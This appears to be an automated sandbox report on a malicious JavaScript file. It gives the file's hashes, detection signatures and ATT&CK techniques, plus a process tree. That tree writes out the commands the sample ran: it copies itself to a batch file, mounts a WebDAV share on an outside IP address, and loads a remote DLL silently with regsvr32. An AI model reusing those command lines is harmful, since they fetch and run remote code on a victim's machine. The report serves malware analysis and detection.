48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09-07-2024 06:03

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General

Target

2335478253155930819.js
Size

5KB
MD5

002955be68807c970f57d24ad22e88b6
SHA1

907ba3d847aeb2f50c43d16b14ffb5f926f7050c
SHA256

48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766
SHA512

e42c629c4c3c18644483ecc87aaa7a45e1ceea4ccbb138aecdee71cecd126ee009c1478da422e11bcec70501494599020ad9ffaf1024842a9bbe0a19942cea04
SSDEEP

96:scSXa8NdjB2cPLQalb/WwFvYUmD8kw2mezwzuomnUskE:scMa42QLQalbxgPD8mmezwzuomnUskE

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 4364	4940	wscript.exe	82
PID 4940 wrote to memory of 4364	4940	wscript.exe	82
PID 4364 wrote to memory of 1796	4364	cmd.exe	85
PID 4364 wrote to memory of 1796	4364	cmd.exe	85
PID 4364 wrote to memory of 2460	4364	cmd.exe	86
PID 4364 wrote to memory of 2460	4364	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2335478253155930819.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2335478253155930819.js" "C:\Users\Admin\\psrnzi.bat" && "C:\Users\Admin\\psrnzi.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1796
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\362.dll
    3⤵
    PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\psrnzi.bat

Filesize
5KB

MD5
002955be68807c970f57d24ad22e88b6

SHA1
907ba3d847aeb2f50c43d16b14ffb5f926f7050c

SHA256
48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766

SHA512
e42c629c4c3c18644483ecc87aaa7a45e1ceea4ccbb138aecdee71cecd126ee009c1478da422e11bcec70501494599020ad9ffaf1024842a9bbe0a19942cea04

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